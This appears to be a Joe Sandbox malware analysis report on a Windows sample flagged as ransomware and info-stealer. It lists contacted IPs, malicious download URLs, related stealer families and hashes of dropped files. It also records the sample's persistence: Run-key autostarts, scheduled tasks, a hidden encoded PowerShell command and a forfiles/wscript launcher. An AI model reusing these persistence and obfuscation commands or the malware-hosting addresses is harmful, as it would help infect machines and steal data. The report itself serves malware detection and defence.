https://db-ip.com/demo/home.php?s=8.46.123.175o	Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-core-applaunch?	CHA0VZiz8y.exe, 00000000.00000003.2138600045.000000000441E000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2139765657.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138058247.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000000.2266954848.00007FF762EB9000.00000002.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown
http://www.openssl.org/support/faq.html	7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monoblocked.com/525403/setup.exe	CHA0VZiz8y.exe, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134495582.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2144743645.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2189147343.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2140216516.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2159189354.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138181954.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2166181794.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://176.111.174.109/pelikan	CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	unknown	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
85.192.56.26	unknown	Russian Federation	12695	DINET-ASRU	false
185.172.128.159	unknown	Russian Federation	50916	NADYMSS-ASRU	false
37.221.125.202	unknown	Lithuania	62416	PTSERVIDORPT	false
104.102.42.29	unknown	United States	16625	AKAMAI-ASUS	false
65.109.242.59	unknown	United States	11022	ALABANZA-BALTUS	false
185.172.128.170	unknown	Russian Federation	50916	NADYMSS-ASRU	false
95.142.206.0	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.2	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.1	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
104.21.63.150	unknown	United States	13335	CLOUDFLARENETUS	false
5.42.67.8	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
147.45.47.149	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
147.45.47.126	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
176.111.174.109	unknown	Russian Federation	201305	WILWAWPL	false
172.67.75.166	unknown	United States	13335	CLOUDFLARENETUS	false
87.240.132.67	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
172.67.75.163	unknown	United States	13335	CLOUDFLARENETUS	false
5.42.65.115	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
91.202.233.232	unknown	Russian Federation	9009	M247GB	false
5.42.65.116	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
5.42.66.10	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
146.70.56.165	unknown	United Kingdom	2018	TENET-1ZA	false
103.146.158.221	unknown	unknown	135763	GAYATRI-ASGAYATRICOMMUNICATIONSIN	false
104.21.4.208	unknown	United States	13335	CLOUDFLARENETUS	false
45.130.41.108	unknown	Russian Federation	198610	BEGET-ASRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1447491
Start date and time:	2024-05-25 09:30:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CHA0VZiz8y.exe renamed because original name is a hash value
Original Sample Name:	f0587649682207064554a2372966435d.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@110/214@0/27
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 92% Number of executed functions: 120 Number of non-executed functions: 282
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, SIHClient.exe
Execution Graph export aborted for target CHA0VZiz8y.exe, PID 4120 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Skipping network analysis since amount of network traffic is too extensive

Simulations

Behavior and APIs

Time	Type	Description
03:31:21	API Interceptor	17x Sleep call for process: CHA0VZiz8y.exe modified
03:31:23	API Interceptor	1x Sleep call for process: A_22rjVO67ooiUk2ueyL6tMl.exe modified
03:31:26	API Interceptor	1124x Sleep call for process: kat806.tmp modified
03:31:29	API Interceptor	1x Sleep call for process: xS7PhKcNZTx4FuBAD1RB9kbJ.exe modified
03:31:36	API Interceptor	1x Sleep call for process: RPA18tS89oJgBrOTDKzODMll.exe modified
03:31:44	API Interceptor	1x Sleep call for process: 0YXJTGaxIrryNdvx7SKozTjt.exe modified
03:31:44	API Interceptor	38x Sleep call for process: RegAsm.exe modified
03:32:00	API Interceptor	13x Sleep call for process: EPA5EhRzK9ZnpAjdUqLJteUs.exe modified
09:31:36	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
09:31:37	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
09:31:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
09:31:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c\7U1bGcxK3Lqi_XMHDNEdJrhB.exe" --AutoStart
09:32:02	Task Scheduler	Run new task: bTaQIouyLaJYQqQWth path: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe s>D1 /OEEdidhakB 525403 /S
09:32:02	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c\7U1bGcxK3Lqi_XMHDNEdJrhB.exe s>--Task
09:32:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
09:32:14	Task Scheduler	Run new task: gTKJqQCgO path: powershell s>-WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
09:32:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c\7U1bGcxK3Lqi_XMHDNEdJrhB.exe" --AutoStart
09:32:16	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
09:32:16	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 LG path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
09:32:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513 C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe
09:32:33	Task Scheduler	Run new task: IHUTQLpcIUgXrSpRg path: C:\Windows\Temp\hgYBTjCujtKtfFyH\yIawucxfYjlYyZM\uNvaqUo.exe s>VA /diOIdidPB 525403 /S
09:32:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513 C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe
09:32:48	Task Scheduler	Run new task: BhWnmFHmMHrjz2 path: C:\Windows\system32\forfiles.exe s>/p C:\Windows\system32 /m wscript.exe /c "cmd /C @FNAME ^"C:\ProgramData\XTOpwnsfjaDYySVB\ltGtlmU.wsf^""

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
85.192.56.26	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Get hash	malicious	CryptOne, Djvu, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	85.192.56.26/api/flash.php
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	85.192.56.26/api/flash.php
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	85.192.56.26/api/flash.php
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	85.192.56.26/api/flash.php
	SecuriteInfo.com.Win64.Evo-gen.28136.30716.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	85.192.56.26/api/flash.php
	5NlNJIHhTf.exe	Get hash	malicious	Unknown	Browse	85.192.56.26/api/flash.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	SecuriteInfo.com.Win64.DropperX-gen.29167.15583.exe	Get hash	malicious	PureLog Stealer	Browse	185.172.128.82
	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Get hash	malicious	CryptOne, Djvu, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	185.172.128.170
	lgX7lgUL1w.exe	Get hash	malicious	Neoreklami, PureLog Stealer, SmokeLoader	Browse	185.172.128.82
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.170
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.172.128.136
	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	185.172.128.82
	SecuriteInfo.com.Trojan.DownLoader46.63448.20864.604.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.69
	btCbrSS2Je.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	7urUz64I0Y.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.172.128.136
PTSERVIDORPT	SecuriteInfo.com.Win64.DropperX-gen.29167.15583.exe	Get hash	malicious	PureLog Stealer	Browse	37.221.125.202
	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Get hash	malicious	CryptOne, Djvu, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	37.221.125.202
	lgX7lgUL1w.exe	Get hash	malicious	Neoreklami, PureLog Stealer, SmokeLoader	Browse	37.221.125.202
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	37.221.125.202
	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	37.221.125.202
	1.exe	Get hash	malicious	PureLog Stealer	Browse	37.221.125.202
	SecuriteInfo.com.Trojan.Siggen28.47309.32751.2518.exe	Get hash	malicious	CryptOne, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Stealc, Vidar	Browse	37.221.125.202
	file.exe	Get hash	malicious	Amadey, Neoreklami, PureLog Stealer, zgRAT	Browse	37.221.125.202
	40UAEu1Kpt.exe	Get hash	malicious	LummaC, CryptOne, GCleaner, Glupteba, Mars Stealer, PrivateLoader, PureLog Stealer	Browse	37.221.125.202
	file.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse	37.221.125.202
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	https://uuyy112200.wixsite.com/my-site-2	Get hash	malicious	Unknown	Browse	34.117.60.144
	http://servty467.wixsite.com/csuadmin24	Get hash	malicious	Unknown	Browse	34.117.60.144
	fffmpeg.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	SecuriteInfo.com.Variant.Lazy.520200.27930.1926.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Variant.Lazy.520200.14494.23583.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Variant.Lazy.520200.27930.1926.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Variant.Lazy.520200.14494.23583.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	Llkht92Tu3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.186.192
	SecuriteInfo.com.Variant.Lazy.448806.8704.4188.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Variant.Lazy.448806.29655.2426.dll	Get hash	malicious	Unknown	Browse	34.117.186.192
DINET-ASRU	SecuriteInfo.com.Win64.DropperX-gen.29167.15583.exe	Get hash	malicious	PureLog Stealer	Browse	85.192.56.26
	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Get hash	malicious	CryptOne, Djvu, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	85.192.56.26
	lgX7lgUL1w.exe	Get hash	malicious	Neoreklami, PureLog Stealer, SmokeLoader	Browse	85.192.56.26
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	85.192.56.26
	SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	85.192.56.26
	6uBxa0vGQt.elf	Get hash	malicious	Gafgyt	Browse	45.151.37.82
	1.exe	Get hash	malicious	PureLog Stealer	Browse	85.192.56.26
	eyKGju2MU8.elf	Get hash	malicious	Mirai	Browse	95.163.129.201
	6tJtH22I7a.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	45.131.41.39
	SecuriteInfo.com.Trojan.Siggen28.47309.32751.2518.exe	Get hash	malicious	CryptOne, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Stealc, Vidar	Browse	85.192.56.26

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	jE4zclRJU2.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Get hash	malicious	CryptOne, Djvu, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse
	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	btCbrSS2Je.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	7urUz64I0Y.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Program Files\Windows Media Player\background.jpg

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85", baseline, precision 8, 600x800, components 3
Category:	dropped
Size (bytes):	1789609
Entropy (8bit):	7.469477439461062
Encrypted:	false
SSDEEP:	49152:r8Bu6jeTAcNmspkiTYh2zmlr7hT91hoavGtHJBpCbqag/8PTUb:wBDC7VpNYhu2PhTXh78aq8b+
MD5:	6FEB0D1252D06D306EE397ABE3561270
SHA1:	465D534EEA6223CFAE671266DF760F2E590EC62B
SHA-256:	42C8A15537D7656A0779E75654D016975C70C9E81071B4E9D300AA808359C2E9
SHA-512:	CA2F4BA811FD235063AE448907476E2162CDF7734B4BF8CB48B4949D538CE1F6568B4E15211AC2E116BD5B40836CA21B156F80640427D2317A444FF6533A5B23
Malicious:	false
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85....C..............................................!........."$".$.......C....................................................................... .X.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...........:.2.C$0)..%..!....2.\........l.&;........2G.Z..r85...+....l.' +D.P9..b..R..2.....r^(...+.=....U.uy=...E.+. ....,.2#_..9..d.{..(.b.....;SHA.Q.....E..t..Z?...E-...R..P.QK.Q@.E-%..R.%.(c2K"F..1....+.o.x}$1E.Ey7x.......1..15..../.j..4......`..n.Y...J..zu.....R?.....m..L.

C:\ProgramData\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\ProgramData\BWDRWEEARI.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6921626779758165
Encrypted:	false
SSDEEP:	24:Ke7tAQxgl1jHMfrVZzUiHJpDZBZWUs0/0Mocs22ucxEhm:KOvxg7EpNTXZ0gs2+Wg
MD5:	AB632FDEF472FE74FBB4E24FB5BA55CA
SHA1:	28B6022CB24CC70D380876166272B312391413E4
SHA-256:	4F1DE1A8A1A980599333DBEAEBA74C1B183842E42DEC0C3CE0EF57C471D0640D
SHA-512:	B906BF2EC107A6A7ED2D0E5D0C8AD844F14B08CCEB7D9EC6EBD69A6BE37052A4FE295BF148A170F32780F902ED9468B12C115E488BB80C779067C91F9CAAF735
Malicious:	false
Preview:	BWDRWEEARIVCAXDZYFZKKDZROVEXHIWVCMTFOCQTVXZEXPMOUARELJDXJXCSHTPHYDFAQSKPCJXAVNOOSWGLMRRJSEIGOIXHRGVNUUPUMWIYZGMJEYRRCAEYIYIDAZFYDJJMSWJJVLHBGNHHQIAICZQWEBEGEFKVSBUZIDESVOAVZKKPVMUNNYYOCDVZVNLFVJIYNRQXCAYRLGKIDRJAHLNPQBHYCZTYTLUIERFSWFSAYSSBLMPPSQZAAYPORMHIGXFSVODXBYKSZDWLFIRXNFDVQZSZAWNVKBAOCVRUXWIGFEUANFJJZSUQWRBLHJRBTXYOWCBVEFELCWSYYNHPPIXZOEZBTJVVIJEEHIHGWHUPAAZVTZPXEFMEGBQIWJWERRCGRHDYFFLPODCMVBYCRJHEAPKMQTFBKHRVJIWMBUYWFJSKFKBIVGOEKQTPROWJLDILUCYKNSTOPVZEDOYJHFLFDPWAUBFZORWQNODGYAWRTUSFEFIGEXIWYKDNDXZDAITREIZQNGYJLFGAGEYCOTPSHBIHWNMFVBCPAMWVYKIETNGJXRDUTNEVIVXRZAFTNVOADQYFYDMVXJJENNFAZREEJMMAYLCEIOWNXYQQFQBZUDPOAUDJBTIBXIGLQAUADYGSNLFRPBKBPUUZAVBCBZQUROXOPVYHESORLOJFJWEPRXXGVEVNCAEAGPJZDVRSZRNGHPIXJOXXAOZXSKDCSULRFDCPIFAQWNFHMISELJLXJJEZJQFDAXWIIRQOXDDHVECMAOEMQPELDGEIMTWWPRGTZDPGWXXOMDIRFDLZTRSEWXFNUJGTQKFTJYBFZUIMRVUOYAYPMBHCLRBXRSFZXSFZBBCYPRSAKSKZYEIJUZVUGSEAREJOCEEMMPDKFUGGTJSKSZQXAPJJKVYYKBUNLSSHRUSLHBDFTWNYOCCWYVNQHNEHCHGINQIOTMAKGKPQWFFVYXKIIOJONVWAUPKQZAJUMMQGLLGAWEMDCPCF

C:\ProgramData\CAKFIJDHJEGIDHJKKKJJ

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHJEHJJDAAAKEBGCFCAAAAEHC

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
